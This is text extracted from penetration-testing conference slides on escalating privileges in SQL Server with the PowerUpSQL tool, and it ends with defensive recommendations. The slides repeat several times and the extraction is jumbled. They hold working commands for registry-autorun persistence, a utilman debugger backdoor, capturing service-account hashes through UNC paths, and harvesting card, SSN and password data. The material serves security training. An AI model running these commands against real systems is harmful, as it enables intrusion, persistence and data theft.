Post Exploitation OverviewCommon Post Exploitation Activities
1 Establish Persistencebull SQL Server Layer startup procedures agent jobs triggers modified codebull OS Layer Registry amp file auto runs tasks services etc
2 Identify Sensitive Databull Target large databasesbull Locate transparently encrypted databasesbull Search columns based on keywords and sample databull Use regular expressions and the Luhn formula against data samples
3 Exfiltrate Sensitive Databull All standard methods Copy database TCP ports UDP ports DNS
tunneling ICMP tunneling email HTTP shares links etc (No exfil in PowerUpSQL yet)
Post Exploitation PersistenceTask Command Example
Registry Autorun Persistence
Get-SQLPersistRegRun -Verbose -Name EvilSauce -Command EvilBoxEvilSandwichexe -Instance SQLServer1STANDARDDEV2014
Debugger Backdoor Persistence
Get-SQLPersistRegDebugger -Verbose -FileName utilmanexe -Command cwindowssystem32cmdexe -Instance SQLServer1STANDARDDEV2014
Post Exploitation Persistence
Post Exploitation Finding Sensitive DataTask Command Example
Locate Encrypted Databases
Get-SQLInstanceDomain -Verbose |Get-SQLDatabaseThreaded ndashVerbose ndashThreads 10 -NoDefaults |Where-Object $_is_encrypted ndasheq ldquoTRUErdquo
Locate and Sample Sensitive Columnsand Export to CSV
Get-SQLInstanceDomain -Verbose | Get-SQLColumnSampleDataThreaded ndashVerbose ndashThreads 10 ndashKeyword ldquocreditssnpasswordrdquo ndashSampleSize 2 ndashValidateCC ndashNoDefaults |Export-CSV ndashNoTypeInformation ctempdatasamplecsv
Post Exploitation Finding Sensitive Data
DEMO
Post Exploitation Finding Sensitive Data
DEMO
GeneralRecommendations
General RecommendationsThings to dohellip
1 Enforce least privilege everywhere
2 Disable dangerous default stored procedures
3 Audit and fix insecure configurations
4 Use policy based management for standardizing configurations
5 Enable auditing at the server and database levels and monitor for potentially malicious activity
PowerUpSQL Overview Thanks
Individual Third Party Code Direct Contributors
Boe Prox Runspace blogs
Warren F ( RamblingCookieMonster) Invoke-Parallel function
Oyvind Kallstad Test-IsLuhnValid function
Kevin Robertson Invoke-Inveigh
Joe Bialek Invoke-TokenManipulation
Antti Rantasaari Eric Gruber and Alexander Leary leoloobeek and ktaranov
Contributions and QA
Khai Tran Design advice
NetSPI assessment team and dev team Design advice
Speaker Information
Name Scott Sutherland
Job Network amp Application Pentester NetSPI
Twitter _nullbind
Slides httpslidesharenetnullbindhttpslidesharenetnetspi
Blogs httpsblognetspicomauthorscott-sutherland
Code httpsgithubcomnetspiPowerUpSQLhttpsgithubcomnullbind
Escalating Privileges ImpersonationSQL Injection Example
Escalating Privileges ImpersonationAutomatic Execution of Stored Procedure
bull Stored procedures ca be configured to execute when the SQL Server service restarts
Prosbull Marking a stored procedure to run when the SQL
Server service restarts has many use casesbull Only stored procedures in the master database
can be marked for auto execution
Consbull No granular control over what context the startup
command is executed inbull All stored procedures marked for auto execution
are executed as lsquosarsquo even if lsquosarsquo is disabledbull Any non sysadmin access to stored procedures
can lead to execution as lsquosarsquo
Escalating Privileges DEMO
DEMOInvoke-SQLAudit
Escalating Privileges Invoke-SQLPrivEsc
Whooray for Automation Demo
Escalating Privileges DEMO
DEMOInvoke-SQLEscalatePriv
Escalating Privileges Invoke-SQLPrivEsc
DEMO
EscalatingPrivileges
SysAdmin to Service Account
Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation
Executing OS Commands xp_cmdshell Custom Assemblies (net) Custom Extended Stored Procedures (C++) Agent Jobs
o ActiveX Vbscript Jscript and Othero CmdExeco PowerShello SSIS Package
Registry Autoruns File Autoruns
Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation
You donrsquot need to know the password crack a hash or PTH
Service Account Types Local User Local System Network Service Local managed service account Domain managed service account Domain User Domain Admin
Escalating Privileges SysAdmin to Service AccountBut wait therersquos morehellipRottenPotato DerbyCon 2016
- Authors Chris Mallz (vvalien1) amp Steve Breen (breenmachine)
- We can now escalation from service account to LocalSystem
- No patch that Irsquom aware of
Check out their blog for details
httpsfoxglovesecuritycom20160926rotten-potato-privilege-escalation-from-service-accounts-to-system
Escalating Privileges Invoke-SQLOSCmdInvoke-SQLOSCMD can be used for basic command execution
PS Cgt$Accessible | Invoke-SQLOSCmd ndashVerbose ndashCommand ldquowhoamirdquo ndashThreads 10 ComputerName Instance CommandResults --------------------- ----------- -------------- SQLServer1 SQLServer1SQLEXPRESS nt servicemssql$sqlexpress SQLServer1 SQLServer1STANDARDDEV2014 nt authoritysystem SQLServer1 SQLServer1 DomainSQLSvc
EscalatingPrivileges
Shared Service Accounts
Escalating Privileges Shared Service AccountsWhy should I care about shared service accounts
1 SysAdmins can execute OS commands2 OS commands run as the SQL Server service account 3 Service accounts have sysadmin privileges by default4 Companies often use a single domain account to run hundreds of SQL Servers5 So if you get sysadmin on one server you have it on all of them
One account to rule them all
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging Shared MS SQL Server Service Accounts
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging Shared MS SQL Server Service Accounts
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Execute Local Command via xp_cmdshell
2
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging Shared MS SQL Server Service Accounts
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Execute Local Command via xp_cmdshell
2
Access to HVA with shared domain service account
Key
HVA = High Value Application
LVA = Low Value Application
Execute commands and gather data from other
database servers via osql
3
Leveraging Shared MS SQL Server Service Accounts
EscalatingPrivileges
Crawling Server Links
Escalating Privileges Crawling Server LinksWhatrsquos a database link
Database links are basically persistent database connections for SQL Servers
Why should I care
Short answer = privilege escalation
Public role can use links to execute queries on remote servers (impersonation)
SELECT FROM OpenQuery([SQLSERVER2]rsquoSELECT Versionrsquo)
Stored procedures can be executed (xp_cmdshell)
Links can be crawled
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain EvilKey
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB1
LVA
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB1
LVA
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB Link with
Least Privileges
DB1
LVA
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB Link with
Least Privileges
DB Link with
SA account
DB1
LVA
Execute SQL queries and local commands on
database servers via nested linked services
2
Escalating Privileges Crawling Server Links
Penetration Test Stats
Database links exist (and can be crawled) in about 50 of environments wersquove seen
The max number of hops wersquove seen is 12
The max number of servers crawled is 226
Escalating Privileges Crawling Server Links
Old Script
2012 - httpswwwrapid7comdbmodulesexploitwindowsmssqlmssql_linkcrawler
New Script
scriptspendingGet-SqlServerLinkCrawlps1
Author Antti Rantasaari
Escalating Privileges Crawling Server Links
DEMO
Escalating Privileges Database Links
DEMO
Escalating Privileges Crawling Server Links
EscalatingPrivileges
UNC Path Injection
Escalating Privileges UNC Path Injection
UNC Path Injection Summary
UNC paths are used for accessing remote file servers like so 19216814file
Almost all procedures that accept a file path in SQL Server support UNC paths
UNC paths can be used to force the SQL Server service account to authenticate to an attacker
An attacker can then capture the NetNTLM password hash and crack or relay it
Relay becomes pretty easy when you know which SQL Servers are using shared accounts
Escalating Privileges UNC Path Injection
Escalating Privileges UNC Path Injection
Oh yeahhellip
By DEFAULT the PUBLIC role can execute (at least) two procedures that accept a file path
xp_dirtreexp_fileexists
Escalating Privileges UNC Path Injection
So in summaryhellip
The PUBLIC role can access the SQL Server service account NetNTLM
password hash by default
Escalating Privileges UNC Path Injection
But who really hasPUBLIC role access
Oh yeah a ton of domain users
Escalating Privileges DEMO
DEMOGet-SQLServiceAccountPwHashes
hellipwhat Itrsquos self descriptive
Escalating Privileges UNC Path Injection
DEMO
EscalatingPrivileges
OS Admin to SysAdmin
Escalating Privileges OS Admin to SysAdminTwo things to knowhellip
1 Different SQL Server versions can be abused in different ways2 All SQL Server versions provide the service account with sysadmin privileges
Escalating Privileges OS Admin to SysAdmin
Approach 2000 2005 2008 2012 2014 2016
LSA Secrets x x x x x x
Local Administrator x x
LocalSystem x x x
Process Migration x x x x x x
Token Stealing x x x x x X
Single User Mode x x x x x
Below are some options for leveraging that knowledge
Escalating Privileges OS Admin to SysAdminHere are some tool options
Approach Common Tools
Access as Local Administrator Management Studio sqlcmd and other native SQL client tools
Access as LocalSystem Psexec accessibility options debugger with native SQL client tools
Recover SQL Server service account password from LSA Secrets
Mimikatz Metasploit lsadump
Inject shellcode or DLL into the SQL Server service process
Metasploit Empire Python Powershell C C++ (LoadLibraryCreateRemoteThread and similar functions)
Steal Authentication Token From SQL Server service process
Metasploit Incognito Invoke-TokenManipulation
Single User Mode DBATools
Common Post Exploitation Activities
Post Exploitation OverviewCommon Post Exploitation Activities
1 Establish Persistencebull SQL Server Layer startup procedures agent jobs triggers modified codebull OS Layer Registry amp file auto runs tasks services etc
2 Identify Sensitive Databull Target large databasesbull Locate transparently encrypted databasesbull Search columns based on keywords and sample databull Use regular expressions and the Luhn formula against data samples
3 Exfiltrate Sensitive Databull All standard methods Copy database TCP ports UDP ports DNS
tunneling ICMP tunneling email HTTP shares links etc (No exfil in PowerUpSQL yet)
Post Exploitation PersistenceTask Command Example
Registry Autorun Persistence
Get-SQLPersistRegRun -Verbose -Name EvilSauce -Command EvilBoxEvilSandwichexe -Instance SQLServer1STANDARDDEV2014
Debugger Backdoor Persistence
Get-SQLPersistRegDebugger -Verbose -FileName utilmanexe -Command cwindowssystem32cmdexe -Instance SQLServer1STANDARDDEV2014
Post Exploitation Persistence
Post Exploitation Finding Sensitive DataTask Command Example
Locate Encrypted Databases
Get-SQLInstanceDomain -Verbose |Get-SQLDatabaseThreaded ndashVerbose ndashThreads 10 -NoDefaults |Where-Object $_is_encrypted ndasheq ldquoTRUErdquo
Locate and Sample Sensitive Columnsand Export to CSV
Get-SQLInstanceDomain -Verbose | Get-SQLColumnSampleDataThreaded ndashVerbose ndashThreads 10 ndashKeyword ldquocreditssnpasswordrdquo ndashSampleSize 2 ndashValidateCC ndashNoDefaults |Export-CSV ndashNoTypeInformation ctempdatasamplecsv
Post Exploitation Finding Sensitive Data
DEMO
Post Exploitation Finding Sensitive Data
DEMO
GeneralRecommendations
General RecommendationsThings to dohellip
1 Enforce least privilege everywhere
2 Disable dangerous default stored procedures
3 Audit and fix insecure configurations
4 Use policy based management for standardizing configurations
5 Enable auditing at the server and database levels and monitor for potentially malicious activity
PowerUpSQL Overview Thanks
Individual Third Party Code Direct Contributors
Boe Prox Runspace blogs
Warren F ( RamblingCookieMonster) Invoke-Parallel function
Oyvind Kallstad Test-IsLuhnValid function
Kevin Robertson Invoke-Inveigh
Joe Bialek Invoke-TokenManipulation
Antti Rantasaari Eric Gruber and Alexander Leary leoloobeek and ktaranov
Contributions and QA
Khai Tran Design advice
NetSPI assessment team and dev team Design advice
Speaker Information
Name Scott Sutherland
Job Network amp Application Pentester NetSPI
Twitter _nullbind
Slides httpslidesharenetnullbindhttpslidesharenetnetspi
Blogs httpsblognetspicomauthorscott-sutherland
Code httpsgithubcomnetspiPowerUpSQLhttpsgithubcomnullbind
Escalating Privileges ImpersonationAutomatic Execution of Stored Procedure
bull Stored procedures ca be configured to execute when the SQL Server service restarts
Prosbull Marking a stored procedure to run when the SQL
Server service restarts has many use casesbull Only stored procedures in the master database
can be marked for auto execution
Consbull No granular control over what context the startup
command is executed inbull All stored procedures marked for auto execution
are executed as lsquosarsquo even if lsquosarsquo is disabledbull Any non sysadmin access to stored procedures
can lead to execution as lsquosarsquo
Escalating Privileges DEMO
DEMOInvoke-SQLAudit
Escalating Privileges Invoke-SQLPrivEsc
Whooray for Automation Demo
Escalating Privileges DEMO
DEMOInvoke-SQLEscalatePriv
Escalating Privileges Invoke-SQLPrivEsc
DEMO
EscalatingPrivileges
SysAdmin to Service Account
Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation
Executing OS Commands xp_cmdshell Custom Assemblies (net) Custom Extended Stored Procedures (C++) Agent Jobs
o ActiveX Vbscript Jscript and Othero CmdExeco PowerShello SSIS Package
Registry Autoruns File Autoruns
Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation
You donrsquot need to know the password crack a hash or PTH
Service Account Types Local User Local System Network Service Local managed service account Domain managed service account Domain User Domain Admin
Escalating Privileges SysAdmin to Service AccountBut wait therersquos morehellipRottenPotato DerbyCon 2016
- Authors Chris Mallz (vvalien1) amp Steve Breen (breenmachine)
- We can now escalation from service account to LocalSystem
- No patch that Irsquom aware of
Check out their blog for details
httpsfoxglovesecuritycom20160926rotten-potato-privilege-escalation-from-service-accounts-to-system
Escalating Privileges Invoke-SQLOSCmdInvoke-SQLOSCMD can be used for basic command execution
PS Cgt$Accessible | Invoke-SQLOSCmd ndashVerbose ndashCommand ldquowhoamirdquo ndashThreads 10 ComputerName Instance CommandResults --------------------- ----------- -------------- SQLServer1 SQLServer1SQLEXPRESS nt servicemssql$sqlexpress SQLServer1 SQLServer1STANDARDDEV2014 nt authoritysystem SQLServer1 SQLServer1 DomainSQLSvc
EscalatingPrivileges
Shared Service Accounts
Escalating Privileges Shared Service AccountsWhy should I care about shared service accounts
1 SysAdmins can execute OS commands2 OS commands run as the SQL Server service account 3 Service accounts have sysadmin privileges by default4 Companies often use a single domain account to run hundreds of SQL Servers5 So if you get sysadmin on one server you have it on all of them
One account to rule them all
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging Shared MS SQL Server Service Accounts
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging Shared MS SQL Server Service Accounts
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Execute Local Command via xp_cmdshell
2
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging Shared MS SQL Server Service Accounts
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Execute Local Command via xp_cmdshell
2
Access to HVA with shared domain service account
Key
HVA = High Value Application
LVA = Low Value Application
Execute commands and gather data from other
database servers via osql
3
Leveraging Shared MS SQL Server Service Accounts
EscalatingPrivileges
Crawling Server Links
Escalating Privileges Crawling Server LinksWhatrsquos a database link
Database links are basically persistent database connections for SQL Servers
Why should I care
Short answer = privilege escalation
Public role can use links to execute queries on remote servers (impersonation)
SELECT FROM OpenQuery([SQLSERVER2]rsquoSELECT Versionrsquo)
Stored procedures can be executed (xp_cmdshell)
Links can be crawled
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain EvilKey
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB1
LVA
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB1
LVA
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB Link with
Least Privileges
DB1
LVA
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB Link with
Least Privileges
DB Link with
SA account
DB1
LVA
Execute SQL queries and local commands on
database servers via nested linked services
2
Escalating Privileges Crawling Server Links
Penetration Test Stats
Database links exist (and can be crawled) in about 50 of environments wersquove seen
The max number of hops wersquove seen is 12
The max number of servers crawled is 226
Escalating Privileges Crawling Server Links
Old Script
2012 - httpswwwrapid7comdbmodulesexploitwindowsmssqlmssql_linkcrawler
New Script
scriptspendingGet-SqlServerLinkCrawlps1
Author Antti Rantasaari
Escalating Privileges Crawling Server Links
DEMO
Escalating Privileges Database Links
DEMO
Escalating Privileges Crawling Server Links
EscalatingPrivileges
UNC Path Injection
Escalating Privileges UNC Path Injection
UNC Path Injection Summary
UNC paths are used for accessing remote file servers like so 19216814file
Almost all procedures that accept a file path in SQL Server support UNC paths
UNC paths can be used to force the SQL Server service account to authenticate to an attacker
An attacker can then capture the NetNTLM password hash and crack or relay it
Relay becomes pretty easy when you know which SQL Servers are using shared accounts
Escalating Privileges UNC Path Injection
Escalating Privileges UNC Path Injection
Oh yeahhellip
By DEFAULT the PUBLIC role can execute (at least) two procedures that accept a file path
xp_dirtreexp_fileexists
Escalating Privileges UNC Path Injection
So in summaryhellip
The PUBLIC role can access the SQL Server service account NetNTLM
password hash by default
Escalating Privileges UNC Path Injection
But who really hasPUBLIC role access
Oh yeah a ton of domain users
Escalating Privileges DEMO
DEMOGet-SQLServiceAccountPwHashes
hellipwhat Itrsquos self descriptive
Escalating Privileges UNC Path Injection
DEMO
EscalatingPrivileges
OS Admin to SysAdmin
Escalating Privileges OS Admin to SysAdminTwo things to knowhellip
1 Different SQL Server versions can be abused in different ways2 All SQL Server versions provide the service account with sysadmin privileges
Escalating Privileges OS Admin to SysAdmin
Approach 2000 2005 2008 2012 2014 2016
LSA Secrets x x x x x x
Local Administrator x x
LocalSystem x x x
Process Migration x x x x x x
Token Stealing x x x x x X
Single User Mode x x x x x
Below are some options for leveraging that knowledge
Escalating Privileges OS Admin to SysAdminHere are some tool options
Approach Common Tools
Access as Local Administrator Management Studio sqlcmd and other native SQL client tools
Access as LocalSystem Psexec accessibility options debugger with native SQL client tools
Recover SQL Server service account password from LSA Secrets
Mimikatz Metasploit lsadump
Inject shellcode or DLL into the SQL Server service process
Metasploit Empire Python Powershell C C++ (LoadLibraryCreateRemoteThread and similar functions)
Steal Authentication Token From SQL Server service process
Metasploit Incognito Invoke-TokenManipulation
Single User Mode DBATools
Common Post Exploitation Activities
Post Exploitation OverviewCommon Post Exploitation Activities
1 Establish Persistencebull SQL Server Layer startup procedures agent jobs triggers modified codebull OS Layer Registry amp file auto runs tasks services etc
2 Identify Sensitive Databull Target large databasesbull Locate transparently encrypted databasesbull Search columns based on keywords and sample databull Use regular expressions and the Luhn formula against data samples
3 Exfiltrate Sensitive Databull All standard methods Copy database TCP ports UDP ports DNS
tunneling ICMP tunneling email HTTP shares links etc (No exfil in PowerUpSQL yet)
Post Exploitation PersistenceTask Command Example
Registry Autorun Persistence
Get-SQLPersistRegRun -Verbose -Name EvilSauce -Command EvilBoxEvilSandwichexe -Instance SQLServer1STANDARDDEV2014
Debugger Backdoor Persistence
Get-SQLPersistRegDebugger -Verbose -FileName utilmanexe -Command cwindowssystem32cmdexe -Instance SQLServer1STANDARDDEV2014
Post Exploitation Persistence
Post Exploitation Finding Sensitive DataTask Command Example
Locate Encrypted Databases
Get-SQLInstanceDomain -Verbose |Get-SQLDatabaseThreaded ndashVerbose ndashThreads 10 -NoDefaults |Where-Object $_is_encrypted ndasheq ldquoTRUErdquo
Locate and Sample Sensitive Columnsand Export to CSV
Get-SQLInstanceDomain -Verbose | Get-SQLColumnSampleDataThreaded ndashVerbose ndashThreads 10 ndashKeyword ldquocreditssnpasswordrdquo ndashSampleSize 2 ndashValidateCC ndashNoDefaults |Export-CSV ndashNoTypeInformation ctempdatasamplecsv
Post Exploitation Finding Sensitive Data
DEMO
Post Exploitation Finding Sensitive Data
DEMO
GeneralRecommendations
General RecommendationsThings to dohellip
1 Enforce least privilege everywhere
2 Disable dangerous default stored procedures
3 Audit and fix insecure configurations
4 Use policy based management for standardizing configurations
5 Enable auditing at the server and database levels and monitor for potentially malicious activity
PowerUpSQL Overview Thanks
Individual Third Party Code Direct Contributors
Boe Prox Runspace blogs
Warren F ( RamblingCookieMonster) Invoke-Parallel function
Oyvind Kallstad Test-IsLuhnValid function
Kevin Robertson Invoke-Inveigh
Joe Bialek Invoke-TokenManipulation
Antti Rantasaari Eric Gruber and Alexander Leary leoloobeek and ktaranov
Contributions and QA
Khai Tran Design advice
NetSPI assessment team and dev team Design advice
Speaker Information
Name Scott Sutherland
Job Network amp Application Pentester NetSPI
Twitter _nullbind
Slides httpslidesharenetnullbindhttpslidesharenetnetspi
Blogs httpsblognetspicomauthorscott-sutherland
Code httpsgithubcomnetspiPowerUpSQLhttpsgithubcomnullbind
Escalating Privileges DEMO
DEMOInvoke-SQLAudit
Escalating Privileges Invoke-SQLPrivEsc
Whooray for Automation Demo
Escalating Privileges DEMO
DEMOInvoke-SQLEscalatePriv
Escalating Privileges Invoke-SQLPrivEsc
DEMO
EscalatingPrivileges
SysAdmin to Service Account
Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation
Executing OS Commands xp_cmdshell Custom Assemblies (net) Custom Extended Stored Procedures (C++) Agent Jobs
o ActiveX Vbscript Jscript and Othero CmdExeco PowerShello SSIS Package
Registry Autoruns File Autoruns
Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation
You donrsquot need to know the password crack a hash or PTH
Service Account Types Local User Local System Network Service Local managed service account Domain managed service account Domain User Domain Admin
Escalating Privileges SysAdmin to Service AccountBut wait therersquos morehellipRottenPotato DerbyCon 2016
- Authors Chris Mallz (vvalien1) amp Steve Breen (breenmachine)
- We can now escalation from service account to LocalSystem
- No patch that Irsquom aware of
Check out their blog for details
httpsfoxglovesecuritycom20160926rotten-potato-privilege-escalation-from-service-accounts-to-system
Escalating Privileges Invoke-SQLOSCmdInvoke-SQLOSCMD can be used for basic command execution
PS Cgt$Accessible | Invoke-SQLOSCmd ndashVerbose ndashCommand ldquowhoamirdquo ndashThreads 10 ComputerName Instance CommandResults --------------------- ----------- -------------- SQLServer1 SQLServer1SQLEXPRESS nt servicemssql$sqlexpress SQLServer1 SQLServer1STANDARDDEV2014 nt authoritysystem SQLServer1 SQLServer1 DomainSQLSvc
EscalatingPrivileges
Shared Service Accounts
Escalating Privileges Shared Service AccountsWhy should I care about shared service accounts
1 SysAdmins can execute OS commands2 OS commands run as the SQL Server service account 3 Service accounts have sysadmin privileges by default4 Companies often use a single domain account to run hundreds of SQL Servers5 So if you get sysadmin on one server you have it on all of them
One account to rule them all
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging Shared MS SQL Server Service Accounts
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging Shared MS SQL Server Service Accounts
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Execute Local Command via xp_cmdshell
2
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging Shared MS SQL Server Service Accounts
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Execute Local Command via xp_cmdshell
2
Access to HVA with shared domain service account
Key
HVA = High Value Application
LVA = Low Value Application
Execute commands and gather data from other
database servers via osql
3
Leveraging Shared MS SQL Server Service Accounts
EscalatingPrivileges
Crawling Server Links
Escalating Privileges Crawling Server LinksWhatrsquos a database link
Database links are basically persistent database connections for SQL Servers
Why should I care
Short answer = privilege escalation
Public role can use links to execute queries on remote servers (impersonation)
SELECT FROM OpenQuery([SQLSERVER2]rsquoSELECT Versionrsquo)
Stored procedures can be executed (xp_cmdshell)
Links can be crawled
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain EvilKey
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB1
LVA
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB1
LVA
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB Link with
Least Privileges
DB1
LVA
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB Link with
Least Privileges
DB Link with
SA account
DB1
LVA
Execute SQL queries and local commands on
database servers via nested linked services
2
Escalating Privileges Crawling Server Links
Penetration Test Stats
Database links exist (and can be crawled) in about 50 of environments wersquove seen
The max number of hops wersquove seen is 12
The max number of servers crawled is 226
Escalating Privileges Crawling Server Links
Old Script
2012 - httpswwwrapid7comdbmodulesexploitwindowsmssqlmssql_linkcrawler
New Script
scriptspendingGet-SqlServerLinkCrawlps1
Author Antti Rantasaari
Escalating Privileges Crawling Server Links
DEMO
Escalating Privileges Database Links
DEMO
Escalating Privileges Crawling Server Links
EscalatingPrivileges
UNC Path Injection
Escalating Privileges UNC Path Injection
UNC Path Injection Summary
UNC paths are used for accessing remote file servers like so 19216814file
Almost all procedures that accept a file path in SQL Server support UNC paths
UNC paths can be used to force the SQL Server service account to authenticate to an attacker
An attacker can then capture the NetNTLM password hash and crack or relay it
Relay becomes pretty easy when you know which SQL Servers are using shared accounts
Escalating Privileges UNC Path Injection
Escalating Privileges UNC Path Injection
Oh yeahhellip
By DEFAULT the PUBLIC role can execute (at least) two procedures that accept a file path
xp_dirtreexp_fileexists
Escalating Privileges UNC Path Injection
So in summaryhellip
The PUBLIC role can access the SQL Server service account NetNTLM
password hash by default
Escalating Privileges UNC Path Injection
But who really hasPUBLIC role access
Oh yeah a ton of domain users
Escalating Privileges DEMO
DEMOGet-SQLServiceAccountPwHashes
hellipwhat Itrsquos self descriptive
Escalating Privileges UNC Path Injection
DEMO
EscalatingPrivileges
OS Admin to SysAdmin
Escalating Privileges OS Admin to SysAdminTwo things to knowhellip
1 Different SQL Server versions can be abused in different ways2 All SQL Server versions provide the service account with sysadmin privileges
Escalating Privileges OS Admin to SysAdmin
Approach 2000 2005 2008 2012 2014 2016
LSA Secrets x x x x x x
Local Administrator x x
LocalSystem x x x
Process Migration x x x x x x
Token Stealing x x x x x X
Single User Mode x x x x x
Below are some options for leveraging that knowledge
Escalating Privileges OS Admin to SysAdminHere are some tool options
Approach Common Tools
Access as Local Administrator Management Studio sqlcmd and other native SQL client tools
Access as LocalSystem Psexec accessibility options debugger with native SQL client tools
Recover SQL Server service account password from LSA Secrets
Mimikatz Metasploit lsadump
Inject shellcode or DLL into the SQL Server service process
Metasploit Empire Python Powershell C C++ (LoadLibraryCreateRemoteThread and similar functions)
Steal Authentication Token From SQL Server service process
Metasploit Incognito Invoke-TokenManipulation
Single User Mode DBATools
Common Post Exploitation Activities
Post Exploitation OverviewCommon Post Exploitation Activities
1 Establish Persistencebull SQL Server Layer startup procedures agent jobs triggers modified codebull OS Layer Registry amp file auto runs tasks services etc
2 Identify Sensitive Databull Target large databasesbull Locate transparently encrypted databasesbull Search columns based on keywords and sample databull Use regular expressions and the Luhn formula against data samples
3 Exfiltrate Sensitive Databull All standard methods Copy database TCP ports UDP ports DNS
tunneling ICMP tunneling email HTTP shares links etc (No exfil in PowerUpSQL yet)
Post Exploitation PersistenceTask Command Example
Registry Autorun Persistence
Get-SQLPersistRegRun -Verbose -Name EvilSauce -Command EvilBoxEvilSandwichexe -Instance SQLServer1STANDARDDEV2014
Debugger Backdoor Persistence
Get-SQLPersistRegDebugger -Verbose -FileName utilmanexe -Command cwindowssystem32cmdexe -Instance SQLServer1STANDARDDEV2014
Post Exploitation Persistence
Post Exploitation Finding Sensitive DataTask Command Example
Locate Encrypted Databases
